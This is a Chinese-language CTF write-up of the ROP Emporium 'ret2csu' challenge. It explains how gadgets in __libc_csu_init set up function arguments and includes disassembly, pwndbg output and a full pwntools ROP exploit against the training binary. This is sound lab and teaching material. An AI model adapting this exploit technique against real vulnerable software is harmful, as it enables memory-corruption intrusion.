# 前言
两月一号了,眼看九号就要打比赛我却还没学过 `ret2csu` 和 `SROP`,所以特此提前开一
章 [ROP Emporium](https://ropemporium.com/) 的题解,问就是里面有一道 `ret2csu`,
而且早晚会得这份题库的 LMAO
可惜没有 `SROP`,那这个我只能去 [Nightmare](https://guyinatuxedo.github.io/) 找
题做了,要不就自己出一题也行。
啊,突然想起来还有 `ret2dlresolve` 和 `ret2vDSO`……一会儿再开一章 tricks 专题好了
,就从 ROP 的 tricks 开始写。
# Challenge 8
## Information
- Category: Pwn
## Description
> We're back in ret2win territory, but this time with no useful gadgets.<br/>
> How will we populate critical registers without them?
## Write-up
~_好啊,ROP Emporium 一共就八道题,而 ret2csu 就是这最后一题,有种上来就 bypass
小怪直奔去 attack BOSS's ass 的感觉,帅不帅?(bushi)_~
嗯……有关 `ret2csu` 这个 trick 的详细信息,可以去读这篇发在 Black Hat Asia 的论文
[^1].
简单来说就是当你找不到可以控制函数参数的 gadgets 时,就可以考虑一下这个 trick.
> 当一个程序使用某些库(如 libc)时,它有一些内置函数来管理程序不同部分之间的通
信。在这些函数中,有一些隐藏的宝石可以作为我们缺失的 gadgets,特别是一个叫 `__li
bc_csu_init` 的函数。——Hack Tricks
就以本题的 `__libc_csu_init` 为例(不同版本的 libc 的这个函数可能略有区别,不过
影响不大),看一下里面有什么好东东:
```asm wrap=false showLineNumbers=false ins={30-33, 40-46}
__libc_csu_init
__libc_csu_init ; =============== S U B R O U T I N E =================
======================
__libc_csu_init
__libc_csu_init
__libc_csu_init ; void __fastcall _libc_csu_init(unsigned int, __int64,
__int64)
__libc_csu_init public __libc_csu_init
__libc_csu_init __libc_csu_init proc near ; DATA XREF: _s
tart+16↑o
__libc_csu_init ; __unwind {
__libc_csu_init 000 push r15
__libc_csu_init+2 008 push r14
__libc_csu_init+4 010 mov r15, rdx
__libc_csu_init+7 010 push r13
__libc_csu_init+9 018 push r12
__libc_csu_init+B 020 lea r12, __frame_dummy_init_array_e
ntry ; Load Effective Address
__libc_csu_init+12 020 push rbp
__libc_csu_init+13 028 lea rbp, __do_global_dtors_aux_fini
_array_entry ; Load Effective Address
__libc_csu_init+1A 028 push rbx
__libc_csu_init+1B 030 mov r13d, edi
__libc_csu_init+1E 030 mov r14, rsi
__libc_csu_init+21 030 sub rbp, r12 ; Integer Subtr
action
__libc_csu_init+24 030 sub rsp, 8 ; Integer Subtr
action
__libc_csu_init+28 038 sar rbp, 3 ; Shift Arithme
tic Right
__libc_csu_init+2C 038 call _init_proc ; Call Procedur
e
__libc_csu_init+31 038 test rbp, rbp ; Logical Compa
re
__libc_csu_init+34 038 jz short loc_400696 ; Jump if Zero
(ZF=1)
__libc_csu_init+36 038 xor ebx, ebx ; Logical Exclu
sive OR
__libc_csu_init+38 038 nop dword ptr [rax+rax+00000000h] ;
No Operation
__libc_csu_init+40
__libc_csu_init+40 loc_400680: ; CODE XREF: __
libc_csu_init+54↓j
__libc_csu_init+40 038 mov rdx, r15
__libc_csu_init+43 038 mov rsi, r14
__libc_csu_init+46 038 mov edi, r13d
__libc_csu_init+49 038 call ds:(__frame_dummy_init_array_en
try - 600DF0h)[r12+rbx*8] ; Indirect Call Near Procedure
__libc_csu_init+4D 038 add rbx, 1 ; Add
__libc_csu_init+51 038 cmp rbp, rbx ; Compare Two O
perands
__libc_csu_init+54 038 jnz short loc_400680 ; Jump if Not
Zero (ZF=0)
__libc_csu_init+56
__libc_csu_init+56 loc_400696: ; CODE XREF: __
libc_csu_init+34↑j
__libc_csu_init+56 038 add rsp, 8 ; Add
__libc_csu_init+5A 030 pop rbx
__libc_csu_init+5B 028 pop rbp
__libc_csu_init+5C 020 pop r12
__libc_csu_init+5E 018 pop r13
__libc_csu_init+60 010 pop r14
__libc_csu_init+62 008 pop r15
__libc_csu_init+64 000 retn ; Return Near f
rom Procedure
__libc_csu_init+64 ; } // starts at 400640
__libc_csu_init+64 __libc_csu_init endp
__libc_csu_init+64
__libc_csu_init+64 ; -----------------------------------------------------
----------------------
```
我们发现有两个实用的 gadgets,分别是:
```asm wrap=false showLineNumbers=false
pop rbx
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
```
```asm wrap=false showLineNumbers=false
mov rdx, r15
mov rsi, r14
mov edi, r13d
call QWORD PTR [r12 + rbx * 8]
```
这不就直接控制了函数的前三个参数了?多好。
注意第二个 gadget 也可以是以 `ret` 结束的,但是需要抵消一些 side effects:
```asm wrap=false showLineNumbers=false
mov rdx, r15
mov rsi, r14
mov edi, r13d
call QWORD PTR [r12 + rbx * 8]
add rbx, 0x1
cmp rbp, rbx
jnz <func>
<snap>
ret
```
- `[r12 + rbx * 8]` 必须指向一个存储可调用函数的地址(如果没有想法且没有 PIE,可
以直接使用 `_init` 函数)。
- `rbp` 和 `rbx` 必须具有相同的值以避免跳转。
- 有一些被省略的 `pop`s 需要考虑。
另外,从 ret2csu gadget 控制 rdi 和 rsi 的另一种方法是通过访问特定的偏移量,可以
参考这篇讲 BROP 的论文[^2].
唯一一个问题可能就是怎么让 `call QWORD PTR [r12 + rbx * 8]` 调用 `_init` 了,不
解释,直接看操作:
```asm wrap=false showLineNumbers=false ins={7-8}
pwndbg> x/a _init
0x4004d0 <_init>: 0x1d058b4808ec8348
pwndbg> search -t dword 0x4004d0
Searching for a 4-byte integer: b'xd0x04@x00'
ret2csu 0x400398 rol byte ptr [rax + rax*2], 1
ret2csu 0x400e38 rol byte ptr [rax + rax*2], 1
ret2csu 0x600398 0x4004d0 (_init)
ret2csu 0x600e38 0x4004d0 (_init)
```
## Exploit
```python
#!/usr/bin/python3
from contextlib import contextmanager
from pwn import ELF, context, flat, gdb, log, process, remote
context(log_level="debug", terminal="kitty")
FILE = "./ret2csu"
HOST, PORT = "localhost", 1337
gdbscript = """
b *pwnme+133
c
"""
@contextmanager
def launch(local=True, debug=False, aslr=False, argv=None, envp=None):
target = None
try:
if local:
global elf
elf = ELF(FILE)
context.binary = elf
target = (
gdb.debug(
[elf.path] + (argv or []), gdbscript=gdbscript, aslr=aslr, e
nv=envp
)
if debug
else process([elf.path] + (argv or []), env=envp)
)
else:
target = remote(HOST, PORT)
yield target
finally:
if target:
target.close()
def construct_payload():
padding_to_ret = b"".ljust(0x28, b"A")
_init = 0x600398
__libc_csu_init = elf.symbols["__libc_csu_init"]
generic_gadget_1 = __libc_csu_init + 90
generic_gadget_2 = __libc_csu_init + 64
pop_rdi_ret = __libc_csu_init + 99
cleanup_regs = [b"".ljust(0x8, b"A") * 6]
return flat(
padding_to_ret,
generic_gadget_1,
0x0, # rbx
0x1, # rbp
_init, # r12 -> _init
b"".ljust(0x8, b"A"), # r13
0xCAFEBABECAFEBABE, # r14 -> rsi
0xD00DF00DD00DF00D, # r15 -> rdx
generic_gadget_2,
b"".ljust(0x8, b"A"), # add rsp, 0x8
*cleanup_regs, # for generic_gadget_1
pop_rdi_ret,
0xDEADBEEFDEADBEEF,
elf.symbols["ret2win"],
)
def attack(target):
try:
payload = construct_payload()
target.sendafter(b"> ", payload)
response = target.recvall(timeout=3)
if b"ROPE{" in response:
return True
except Exception as e:
log.exception(f"An error occurred while performing attack: {e}")
def main():
try:
with launch(debug=False) as target:
if attack(target):
log.success("Attack completed successfully.")
else:
log.failure("Attack did not yield a flag.")
except Exception as e:
log.exception(f"An error occurred in main: {e}")
if __name__ == "__main__":
main()
```
## Flag
Flag: `ROPE{a_placeholder_32byte_flag!}`
# 后记
没有后记,这系列还有七题没打呢写个毛的后记……
[^1]: Marco-gisbert, Hector and Ismael Ripoll. "return-to-csu: a new method to b
ypass 64-bit Linux ASLR." (2018).
[^2]: A. Bittau, A. Belay, A. Mashtizadeh, D. Mazières and D. Boneh, "Hacking Bl
ind," 2014 IEEE Symposium on Security and Privacy, Berkeley, CA, USA, 2014, pp.
227-242, doi: 10.1109/SP.2014.22.